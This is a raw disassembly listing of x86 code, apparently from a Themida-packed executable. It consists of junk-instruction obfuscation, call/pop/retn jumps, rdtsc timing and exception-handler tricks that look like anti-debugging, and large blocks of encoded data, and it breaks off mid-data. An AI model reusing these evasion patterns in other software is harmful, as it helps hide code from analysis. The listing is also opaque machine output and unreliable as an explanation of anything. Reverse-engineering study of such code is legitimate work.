dd 0C8E9D4E3h, 75457B50h db 0C2h ; --------------------------------------------------------------------------- loc_5B609D: ; CODE XREF: sub_5B4FCF+10BDj popa jmp loc_5B60AA ; --------------------------------------------------------------------------- db 0D8h dd 0A8D05649h db 35h, 4Eh ; --------------------------------------------------------------------------- loc_5B60AA: ; CODE XREF: sub_5B4FCF+10CFj mov eax, [ebp+6142E2Dh] push 0 push edx call loc_5B60BB and [edx-3Dh], bl loc_5B60BB: ; CODE XREF: sub_5B4FCF+10E4p pop edx mov [esp+0A30h+var_A2C], edx add [esp+0A30h+var_A2C], 18h inc edx push edx retn ; --------------------------------------------------------------------------- mov eax, ds:9818057Ch mov [ebp+6141381h], edi shl eax, 1 jb loc_5B60F5 jb loc_5B60F5 jmp loc_5B60F5 ; --------------------------------------------------------------------------- db 0A3h, 0A2h, 0B5h dd 69E087A2h, 180F2CB2h db 0A2h ; --------------------------------------------------------------------------- loc_5B60F5: ; CODE XREF: sub_5B4FCF+1109j ; sub_5B4FCF+110Fj ... add eax, [ebp+614157Dh] push 0 push edx call loc_5B6106 and [edx-3Dh], bl loc_5B6106: ; CODE XREF: sub_5B4FCF+112Fp pop edx mov [esp+0A38h+var_A34], edx add [esp+0A38h+var_A34], 18h inc edx push edx retn ; --------------------------------------------------------------------------- dw 779h dd 60189893h, 59D98166h, 0ED850B6Ch, 61061423h, 0BEh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 14E96Ch, 0A1C10000h, 0DD80B8AFh, 16264237h, 6C73F678h dd 0DE6625E6h, 6A96417Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 2B9FC351h, 95251CBh dd 140C5195h, 6AAD6606h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 3EACC352h, 0A227D7E6h dd 892295D1h, 14078DBDh, 2E0C106h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 5DC35242h, 8D892592h, 6140255h dd 0CD98503h, 89600614h, 1416AD9Dh, 6188B206h, 0F8ADF896h dd 24247C81h, 10000000h, 180870Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0E6E384C3h dd 585681E2h, 800F40EAh, 8, 599D3160h, 6106140Ch, 10890F90h dd 0E9000000h, 0Bh, 0D03CCF6Ah, 2E24EE5Eh, 50E79584h, 52505250h dd 0CE9h, 13866F00h, 0D0EC93DBh, 0B6C6106Eh, 0F310FDAh dd 80h, 0F585A00h, 0DE931h, 42BA0000h, 90E48ECBh, 0CF4716EFh dd 5AAAEB53h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0CE775AC3h, 0DC1C0FF0h, 6660B72Dh dd 0F32AFB8h, 8B61DEB7h, 6A282444h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5552C355h dd 9F0FC3Dh, 14191995h, 52509006h, 0F616060h, 89h, 310F6100h dd 5165B060h, 585A615Ah, 7E950h, 0D7F70000h, 6A70A5FEh dd 6A9059h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0B0BD8FC3h, 0D08154FDh, 858D3C6Dh, 61741CBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2AC35646h dd 11AE1A96h, 19ED9D89h, 0EE90614h, 61000000h, 0DC71413Eh dd 9CC2CF50h, 681EDB70h, 6AD0FF28h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 284CC350h dd 440374DFh, 6A2424h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0CD8681C3h, 7E96707h, 0C6000000h dd 66EF60h, 0F8602A68h, 0CE960h, 212F0000h, 0D260B343h dd 0AE947B51h, 61615EABh, 1C244489h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 5AC35646h, 4985C6FCh, 61408h dd 79C685C7h, 617h, 85C70000h, 61778DAh, 0 ; --------------------------------------------------------------------------- jmp loc_5B6417 ; --------------------------------------------------------------------------- db 47h, 0Ch, 5Fh dd 378BC87Ah, 0A74EC530h, 7F2BD3D0h db 0B4h, 66h, 0Fh ; --------------------------------------------------------------------------- loc_5B6417: ; CODE XREF: sub_5B4FCF+1431j push 0 push edx call loc_5B6422 and [edx-3Dh], bl loc_5B6422: ; CODE XREF: sub_5B4FCF+144Bp pop edx mov [esp+0A40h+var_A3C], edx add [esp+0A40h+var_A3C], 19h inc edx push edx retn ; --------------------------------------------------------------------------- and [ebx-241333FDh], dl popa mov [ebp+614231Dh], ecx retn 8 ; --------------------------------------------------------------------------- mov [ebp+6140141h], ecx mov eax, [ebp+6140CD9h] pusha sub eax, [ebp+61412DDh] pusha adc edi, 2489EBFAh mov [ebp+61434C1h], esi popa popa dec edx sub [ebp+6140C51h], ecx imul edx, 4 clc add eax, edx push 0 push edi call loc_5B647C and [edi-3Dh], bl loc_5B647C: ; CODE XREF: sub_5B4FCF+14A5p pop edi mov [esp+0A28h+var_A24], edi add [esp+0A28h+var_A24], 17h inc edi push edi retn ; --------------------------------------------------------------------------- dd 0ABEB52B8h, 816660F8h, 616B36EFh, 0ADFC96F9h, 6840Fh dd 9D890000h, 6140999h, 24247C81h, 10000000h, 0F3870Fh dd 8A0F0000h, 1Ah, 14870Fh, 0FE90000h, 0A4000000h, 640CBEA5h dd 0F0BAC6BCh, 603E9EDBh, 0F50A5F7h, 168Eh, 11E900h, 61710000h dd 0C13A4FD6h, 0BF7BF266h, 786099FDh, 8918E010h, 8BF82404h dd 6A282444h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0E490C355h, 9D89F862h, 6141B6Dh dd 0EE9h, 7F248500h, 503BC5B7h, 0BE598A54h, 50E775D8h dd 890F5250h, 13h, 0EE9h, 304C00h, 0DDA731D2h, 6EC1F284h dd 0FFF0277h, 5B526031h, 310F5250h, 5A61585Ah, 24048958h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D9C35141h dd 0D75CD0AAh, 0CC381D4Dh, 3018529h, 858D0614h, 61741CBh dd 0CE9h, 247A1300h, 83B8483Ah, 0B4F4AC50h, 31D0FFC5h dd 140AE195h, 0FDD0E906h, 8B60FFFFh, 14297D8Dh, 6840F06h dd 8B000000h, 141075B5h, 0BE96106h, 0A1000000h, 7C00BAF6h dd 68206FAh ; --------------------------------------------------------------------------- pop edx xchg eax, ebp loc_5B65D2: ; CODE XREF: sub_5B4FCF:loc_5B547Aj lea eax, [ebp+6178E49h] jg loc_5B65EA ja loc_5B65EA jnz $+6 loc_5B65EA: ; CODE XREF: sub_5B4FCF+1609j ; sub_5B4FCF+160Fj nop pusha popa push eax pusha popa nop push 0 push edi call sub_5B65FC and [edi-3Dh], bl sub_5B4FCF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B65FC proc near ; CODE XREF: sub_5B4FCF+1625p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B65FC endp ; --------------------------------------------------------------------------- and al, [edx-7DAB97F6h] cmp al, 15h pop esi fldcw word ptr [ecx] xchg eax, ebp or eax, 64061434h push large dword ptr ds:0 mov [ebp+61403F9h], eax mov eax, [esp] push 0 push ecx call sub_5B6637 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6637 proc near ; CODE XREF: Themida_:005B662Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5B6637 endp ; --------------------------------------------------------------------------- db 0E9h dd 0B409F102h, 78708398h, 18B18D01h, 85890614h, 6140781h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 45C35747h dd 0F602FF4h, 685h, 45B58900h, 0BE061420h, 1B089FC0h, 25896461h dd 0 ; --------------------------------------------------------------------------- pusha mov dx, 0A751h mov ebx, [ebp+6141E5Dh] popa lea eax, [ebp+6178B9Fh] push 0 push edi call sub_5B66B1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B66B1 proc near ; CODE XREF: Themida_:005B66A9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B66B1 endp ; --------------------------------------------------------------------------- pop ebp mov ds:0E9858960h, eax pop ds adc al, 6 mov [ebp+6140415h], edi popa mov [eax+1], esp push 0 push edi call sub_5B66DF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B66DF proc near ; CODE XREF: Themida_:005B66D7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B66DF endp ; --------------------------------------------------------------------------- sub al, 17h db 67h mov edx, esp xor [ebp+6141B79h], esi jmp loc_5B6A12 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B670A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B670A proc near ; CODE XREF: Themida_:005B6702p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5B670A endp ; --------------------------------------------------------------------------- dw 0DF73h dd 0AE951E9h, 48000000h, 5030FCFDh, 0C39D4F3h, 0E8DB8B69h dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6178B98h mov esp, 12FF9Ch cmp dword ptr [ebp+6142FE5h], 0 jz short loc_5B6761 mov eax, [ebp+6140055h] mov byte ptr [eax], 0 mov eax, [ebp+6140FC9h] mov byte ptr [eax], 0 call dword ptr [ebp+6141869h] loc_5B6761: ; CODE XREF: Themida_:005B6747j pusha push dword ptr [ebp+61774DEh] lea eax, [ebp+61774E2h] push eax lea eax, [ebp+61776DAh] push eax call dword ptr [ebp+6141239h] add esp, 0Ch popa push 0 push edi call sub_5B678B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B678B proc near ; CODE XREF: Themida_:005B6783p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B678B endp ; --------------------------------------------------------------------------- db 89h dd 2A8AA758h, 27E2C454h, 0ED858907h, 6A061433h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 5FD1C355h, 0A13838A9h, 4D9D8940h, 8D061413h, 1776DAB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0FB29B31Ah, 0EE96832h, 5F000000h, 36F67511h dd 350AE1FBh, 13F7AE28h, 0DDBD8D7Ah, 0F061420h, 681h, 0E9958900h dd 80061416h, 840F003Eh, 8Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 60C35343h, 0A6670C0Fh, 86977E97h dd 0E19BD89h, 8B600614h, 142A3D95h, 59853306h, 61061415h dd 6E860A4h, 0CA000000h, 0B474BD6Bh, 84AABA45h, 8B5E68A5h dd 140C49B5h, 0A0E96106h, 6AFFFFFFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0EF77C350h dd 0B5D9C197h, 0CF5F8797h, 0CE9h, 0E5B18100h, 916B4E41h dd 0C8AAE19Bh, 60C02B5Bh, 0CF59D8Bh, 0AA610614h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 11C35040h, 29F983B6h dd 141DBDBDh, 7B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 1B964DC3h, 17BF6660h dd 0EDBD03F3h, 61061404h, 5185C7FCh, 1061402h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 7770C357h, 975E2BE4h, 14E966h, 0F50F0000h dd 0FF3E57D5h, 0CEB1DFEh, 0D2B14483h, 974C2658h, 8D8D8DD4h dd 6144DFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 84C35242h, 0D124E793h, 89602987h, 14166995h, 18A0F06h dd 0FC000000h, 6AE1FF61h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F3BC351h, 1582h, 0CE96000h dd 0CF000000h, 0A2CD83E3h, 8087022Fh, 6090B1D2h, 85016161h dd 6141F99h, 10E9h, 0CEA1FE00h, 5D8F80FAh, 10FABE6Bh, 625AF5F2h dd 245C8B5Eh, 0E8550Ch, 5D000000h, 8E53ED81h, 838B0617h dd 0B8h, 74DE8589h, 858D0617h, 6178B91h, 0B88389h, 335D0000h db 0C0h, 0C3h ; --------------------------------------------------------------------------- loc_5B6A12: ; CODE XREF: Themida_:005B66FAj jmp loc_5B6A22 ; --------------------------------------------------------------------------- db 6Ah dd 0B7DBA78Fh, 0B96A50D1h ; --------------------------------------------------------------------------- jnp short loc_5B6A9E loc_5B6A22: ; CODE XREF: Themida_:loc_5B6A12j push 0 push ebx call sub_5B6A2D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6A2D proc near ; CODE XREF: Themida_:005B6A25p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B6A2D endp ; --------------------------------------------------------------------------- db 5Dh, 7Dh, 0ADh dd 33BCDFE0h, 850FFC55h, 1, 850F60F5h, 0Ch, 68F0Fh, 8F0F0000h dd 0 ; --------------------------------------------------------------------------- lea eax, [ebp+617907Dh] jno loc_5B6A7A jmp loc_5B6A7A ; --------------------------------------------------------------------------- pusha or eax, 0D5A0EE7h dec ecx jno short loc_5B6ACE loc_5B6A7A: ; CODE XREF: Themida_:005B6A66j ; Themida_:005B6A6Cj push eax push eax push edx pusha push eax push edx rdtsc pop edx pop eax push ecx pop edi popa rdtsc ja loc_5B6A91 pusha popa loc_5B6A91: ; CODE XREF: Themida_:005B6A89j pop edx pop eax mov [esp], eax mov [ebp+6141BD5h], eax ; --------------------------------------------------------------------------- db 64h, 0FFh ; --------------------------------------------------------------------------- loc_5B6A9E: ; CODE XREF: Themida_:005B6A20j xor eax, 0 push 0 push edi call sub_5B6AAE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6AAE proc near ; CODE XREF: Themida_:005B6AA6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5B6AAE endp ; --------------------------------------------------------------------------- ja short locret_5B6AF9 sbb eax, 0ED95890Ch push es adc al, 6 jmp loc_5B6AD8 ; --------------------------------------------------------------------------- db 0B2h ; --------------------------------------------------------------------------- loc_5B6ACE: ; CODE XREF: Themida_:005B6A78j and ebp, [ecx] mov eax, esi iret ; --------------------------------------------------------------------------- db 58h dd 89944CFDh ; --------------------------------------------------------------------------- loc_5B6AD8: ; CODE XREF: Themida_:005B6AC8j mov large fs:0, esp push 0 push ebx call sub_5B6AEA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6AEA proc near ; CODE XREF: Themida_:005B6AE2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx locret_5B6AF9: ; CODE XREF: Themida_:005B6ABEj retn sub_5B6AEA endp ; --------------------------------------------------------------------------- dec ecx pop ebx push eax xor al, 6 xchg eax, esp or esi, [edx] fdivr dword ptr [ecx] pusha and edx, 23A2749Bh add ecx, [ebp+61419ADh] popa lea eax, [ebp+6179136h] push 0 push edi call sub_5B6B23 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B23 proc near ; CODE XREF: Themida_:005B6B1Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5B6B23 endp ; --------------------------------------------------------------------------- mov eax, 0AC6FBDFCh test edi, eax mov [eax+1], esp jmp loc_5B6B47 ; --------------------------------------------------------------------------- dw 7FB3h db 4Ch, 1Eh, 0DBh ; --------------------------------------------------------------------------- loc_5B6B47: ; CODE XREF: Themida_:005B6B3Dj mov byte ptr [ebp+6140849h], 4Fh push 0 push ecx call sub_5B6B59 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B59 proc near ; CODE XREF: Themida_:005B6B51p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5B6B59 endp ; --------------------------------------------------------------------------- db 0D9h, 0EEh, 6Dh ; --------------------------------------------------------------------------- cmp ah, [edi-0Ch] add [eax-48h], ebp clc or ebx, edi jmp loc_5B6B81 ; --------------------------------------------------------------------------- dw 4EDFh dd 0F728B4D9h ; --------------------------------------------------------------------------- pop ebp loc_5B6B81: ; CODE XREF: Themida_:005B6B75j xor dword ptr [esp], 5C18C92h push 0 push ebx call sub_5B6B93 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6B93 proc near ; CODE XREF: Themida_:005B6B8Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5B6B93 endp ; --------------------------------------------------------------------------- pop ebx cmpsb and esi, 0FFFFFFFFh mov ch, 65h sub al, 14h push es push 0 push ebx call sub_5B6BB8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6BB8 proc near ; CODE XREF: Themida_:005B6BB0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B6BB8 endp ; --------------------------------------------------------------------------- dd 8B8A5E14h, 858DFB69h, 61778FEh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 85C35545h, 4395080Eh, 0BB666087h dd 19B0AD4Bh, 0FD0FF61h, 18Ah, 0C7E9FC00h, 0F000000h, 88Dh dd 8D8B6000h, 6143111h, 245C8B61h, 0E8550Ch, 5D000000h dd 9087ED81h, 858B0617h, 6140C2Dh, 2C658589h, 858B0614h dd 6142965h, 44D8589h, 858B0614h, 6142B25h, 23F18589h dd 85C60614h, 6140849h, 0C685C700h, 61779h, 8D000000h dd 17913685h, 0B8838906h, 5D000000h, 6AC3C033h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0C10FC355h, 458D8960h, 89061415h, 1425C98Dh, 0E9F56106h dd 0Dh, 5402CA3Eh, 707CD6BCh, 362C6BFBh, 51006AE1h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0E77FD4B9h, 30B393D0h, 74BCC8A1h, 10012FFh, 142601B5h dd 68F0F06h, 29000000h, 141EF985h, 58F6406h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5B6CFB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6CFB proc near ; CODE XREF: Themida_:005B6CF3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5B6CFB endp ; --------------------------------------------------------------------------- db 9Bh dd 7EA68CCEh, 38BCB610h, 0DE9h, 0E99B1900h, 0B10CE1A5h dd 0BF03B48Ah, 0C4834B35h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 61EC2771h dd 0AE8h, 75CEE200h, 0D1BBF57Dh, 66FA9C6Ch, 0E7A0DF81h dd 1B50358h, 81061412h, 5B3DC0h, 0AE800h, 0F2750000h, 0CF57EC68h dd 0ED14D63h, 6459589h, 335A0614h, 334FFDBh, 0BB9B58Bh dd 9590614h, 140B4195h, 0B8E98106h, 0E92D1F40h, 12h, 15908A75h dd 4865194Ah, 0B09A8B2Dh, 5F867350h, 0E9817734h, 3F1E4726h dd 7E9h, 84194B00h, 42C434FEh, 47ACC181h, 0B58B4FC7h, 6140F55h dd 8F2CB651h, 8B661804h, 83F28BFEh, 0BD8904EBh, 6141E61h dd 0A584FB81h, 850FFFFFh, 16h, 2E58D01h, 1BE90614h, 6B000000h dd 26214889h, 900B02CBh, 8D89E52Ch, 6141EEDh, 0FFFF74E9h dd 68DCE9FFh, 0E7E99C26h, 97000000h, 9753A566h, 838A055Ch dd 1D76A188h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h dd 50F0362Bh, 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h dd 43E90000h, 6800000Ch, 617956Fh, 0FCED6FE9h, 967E68FFh dd 65E90617h, 68FFFCEDh, 6179750h, 0FCED5BE9h, 982E68FFh dd 51E90617h, 68FFFCEDh, 61798C6h, 0FCED47E9h, 996168FFh dd 3DE90617h, 68FFFCEDh, 6179A7Bh, 0FCED33E9h, 9B9A68FFh dd 29E90617h, 68FFFCEDh, 6179C95h, 0FCED1FE9h, 9D3668FFh dd 15E90617h, 68FFFCEDh, 6179DFFh, 0FCED0BE9h, 1F92B2FFh dd 27B8C1Bh, 2B6661FEh, 534A78E7h, 7C3150CFh, 0A91933B8h dd 8423E79Ah, 9D0A0E87h, 75F23671h, 0B9D45853h, 156E542h dd 0A6ED55E7h, 88584DBh, 6567000Ah, 4C790636h, 0B21D3951h dd 24B0C05Bh, 23AB8FECh, 3153080Ah, 3FCEB67Ah, 1F53249h dd 1A49DC0Eh, 47790636h, 3557D054h, 4BF73646h, 0DE55E419h dd 192B5AB1h, 0A81B6962h, 0E3630D18h, 2FB878BAh, 0D3C791Dh dd 8655E4AAh, 116E9E82h, 5A8CBCEFh, 95B7D63Dh, 68B622E6h dd 768BA8C4h, 525h, 366567A2h, 43477906h, 0F09257E2h, 4468EC53h dd 0A021C0C0h, 78DCECA1h, 34862754h, 3D49DC63h, 0BD802159h dd 9D55E482h, 0C2BBC86Eh, 0B2D1AEDEh, 28B7CFFFh, 0E16C79C1h dd 98A2488Ah, 343C8BA8h, 0F8000000h, 0DBD2F48Bh, 0F0846559h dd 6CCC5ADBh, 10549DCh, 9C95A809h, 0E87755E4h, 0F233AE81h dd 55E49C47h, 0D6BA78DCh, 8BA89B08h, 86F51756h, 0D6F38Ch dd 67390000h, 79063665h, 2C24574Ah, 3C60E2C9h, 93AE5A6h dd 512E9E94h, 334C7C2Fh, 0E5969A11h, 1BC84A6Fh, 63987B41h dd 0F0C277C2h, 8A888C53h, 0F0C6470Bh, 8A010353h, 0A5D8EA71h dd 0DC564B7Ah, 2798B14h, 573920Ah, 2E8DA9F6h, 0D92649DCh dd 88BBE4AEh, 0B55E4FEh, 3BFFE307h, 0BDCEBA4Bh, 0CBA61F70h dd 1F2C104Fh, 0F5B0DDACh, 1CB341C5h, 0ABD8A7EDh, 7F7EDAF2h dd 5FDB81CCh, 5BDFC347h, 3FC0BDCCh, 62FFC794h, 7FEEBC2Ch dd 8000009h, 0E68185F8h, 0FB64A8E5h, 0D651D5D0h, 0AE39FDB8h dd 9D1EE29Fh, 81FC0BBBh, 0A8E5E27Dh, 0D4CFFB64h, 0C6B5D750h dd 4BD45742h, 55E707F8h, 67D4D87Bh, 9AF13568h, 3F261CCAh dd 0AA685D29h, 0A3D8D3F5h, 0D8F0ADDCh, 3002B67Ch, 0E01B6180h dd 0DC6CD747h, 40D62849h, 0D0CDFAD5h, 31CA5CB8h, 0BAD2F607h dd 0E4A2C47Bh, 0D0272655h, 0A8BC5C82h, 0A8A3BA8Bh, 0F04427EDh dd 50000000h, 6366567h, 0F2A54A79h, 8AFBD7EFh, 0FF7586AAh dd 38E81DBBh, 1BAB69AEh, 0F0E6D09Ah, 42E35E53h, 53F0E6F7h dd 550A080Ch, 2BB47833h, 0FE696219h, 0F0E682B1h, 0E23D0153h dd 3793ABE6h, 8859C1FDh, 0C46ECFFCh, 7D49DC0Eh, 89ADE0E2h dd 5CDEEB72h, 0FE5A722Bh, 433E4DDAh, 608101B1h, 4446E714h dd 0CD4FCB7Bh, 66C73249h, 5FDBA3EBh, 9D2EE468h, 0B39BFCEh dd 95F6C90h, 0ABE918C8h, 7838FA18h, 524B7C03h, 8754DE3Ah dd 71121588h, 962FFA9h, 8708391h, 0E9190000h, 0D4F572B6h dd 0BFCA55D9h, 0A3A13EC2h, 8CBB24E8h, 0AA8E0D11h, 6CB0ED1Ch dd 5BDFD6F3h, 41C5C0CCh, 25E9A4A6h, 85B4F148h, 1E55E704h dd 0FD8B33F5h, 5004920h, 29A39688h, 87B7EE1Bh, 3001F03h dd 1C16728Ah, 0C94D404Fh, 0E49FABB2h, 9BB770D4h, 4B7D12E0h dd 6706CC50h, 0FB8FC465h, 0EE1E95B3h, 0D2F4B46Ah, 76090125h dd 33D55954h, 0FF8D5C8Ch, 65B4CCh, 7544A444h, 57A30CBFh dd 0E849DCC6h, 83949564h, 9354BCB0h, 0B9B48720h, 4BCF572Dh dd 6014F5C9h, 639CCA6Bh, 0F1554D01h, 0E8583DAh, 0A140B804h dd 3E07A0DBh, 0F6432E43h, 0CAC3C49Bh, 241756B2h, 0BF42F843h dd 252959DBh, 46355716h, 682325C2h, 220A10A7h, 6230A85Eh dd 79Eh, 0A0641737h, 93970607h, 78BCF914h, 66AAE1EFh, 53D7CAF9h dd 2F5EE4C8h, 1431AE72h, 0FE0A9599h, 0DEE07F83h, 0B30E6BAFh dd 0E705C772h, 8D375C55h, 0FDC46567h, 0C4446C55h, 51C9C1E5h dd 44B7C4B0h, 7D8D0805h, 0F645E219h, 0D53F001h, 688A0B09h dd 0C649DCEDh, 7080558Eh, 0DC56358Dh, 2F5CA0A4h, 0B9939859h dd 5AC58C82h, 0FE5A722Fh, 1B618034h, 502047E0h, 77DB4FCCh dd 88030544h, 0B2E91B84h, 0A2C3229Ah, 0B35898D2h, 272692F7h dd 5FDC3914h, 7487ABAFh, 56DCD7F5h, 2E8FFA55h, 5FDC3913h dd 7766AC90h, 45F44A49h, 3E4D7EC2h, 0E37A910Ch, 0B266ACE7h dd 67631335h, 0C9C1BCD7h, 0B511294Dh, 0E0017991h, 0E6186794h dd 0E5427DB7h, 5B987D3Dh, 40CD5236h, 3056D26Dh, 6C0CAD8h dd 39490000h, 2425C246h, 0F3AA569h, 0F3118E92h, 0DCEB74B8h dd 0FADE5DA1h, 0BC403D4Ch, 0AB6F2623h, 9195103Ch, 75B9F416h dd 3504A118h, 4E55E70Ah, 61808305h, 7147E01Bh, 8A49D8E1h dd 0CB544F7Dh, 0AAA1C5C0h, 650FB8D3h, 4CE44EADh, 7D8E99BDh dd 0AAB1F200h, 6A21E598h, 0B483BEFFh, 3C0055E7h, 742759F6h dd 0F84BD447h, 7B55E7B4h, 39A11D17h, 0D0AFDCA8h, 8E39FBB2h dd 3407A013h, 4F55E7B4h, 2A4C49CBh, 0C34FCB58h, 0FC0C8984h dd 30B37498h, 5062FF99h, 6282AF8h, 0A1A10000h, 8CBD2AEEh dd 77920D11h, 5B69F63Ah, 4443DC20h, 1246C549h, 24E8A5A4h dd 13178EBBh, 0F93D7894h, 0DD215C6Eh, 5DEC49B0h, 0D655E70Ah dd 61807BBDh, 9290A30Ch, 7AB153F0h, 348C4F47h, 0F33176Bh dd 0F954B3FCh, 6BEF49D8h, 84F70950h, 0B6E5E780h, 0B9CF1E86h dd 529B2582h, 0DE104FCFh, 3D4CFA19h, 0B1CAEEB0h, 11E39EAAh dd 0C6B5D796h, 570A5AB5h, 19C466B4h, 0D46DDC1Dh, 62E65FDFh dd 4547E090h, 2FBE2656h, 0DD852259h, 1645F305h, 6474ED32h dd 9C0C5CE7h, 58D8Eh, 8B060600h, 0B6E71887h, 0DFDAF572h dd 0C7BECC5Bh dd 0E8A5A443h, 58DA724h, 18878B06h, 0F16EB2EBh, 0C956DAD5h dd 5540C4B7h, 0BFA49D6h, 0DA7955E7h, 0CD6567D6h, 0ACDFC3BEh dd 0DBF3AEDDh, 0EA0E8784h, 0C1C39C28h, 0AF3E46CAh, 4905A2D9h dd 0A249DC63h, 300FAEDEh, 0D255E483h, 509EDC33h, 6E8BA899h dd 49h, 1B61804Ah, 6CD747E0h, 0D62849DCh, 491F5434h, 5F567358h dd 6387AB2Fh, 9373CA6Bh, 0AA9155E4h, 39FBB2D3h, 0F13F3B52h dd 4D8BA88Dh, 0BC66113Eh, 26D0174Eh, 26C15377h, 0BBh, 24053D4Bh dd 0BDA764B6h, 0E72D6062h, 3665677Dh, 0B7D69506h, 0EE7224FAh dd 56C68F59h, 8D000FDCh, 0ADE0E27Dh, 0CDC0C29Dh, 894E0049h dd 0FA0C53F0h, 0DEE07F83h, 0C2CD9CAFh, 0C153B7C7h, 73FE76E5h dd 0F3AADB99h, 0A6A97FDBh, 0FBB34152h, 0C06D9EEAh, 49DC7C0Eh dd 0F1ACD9A0h, 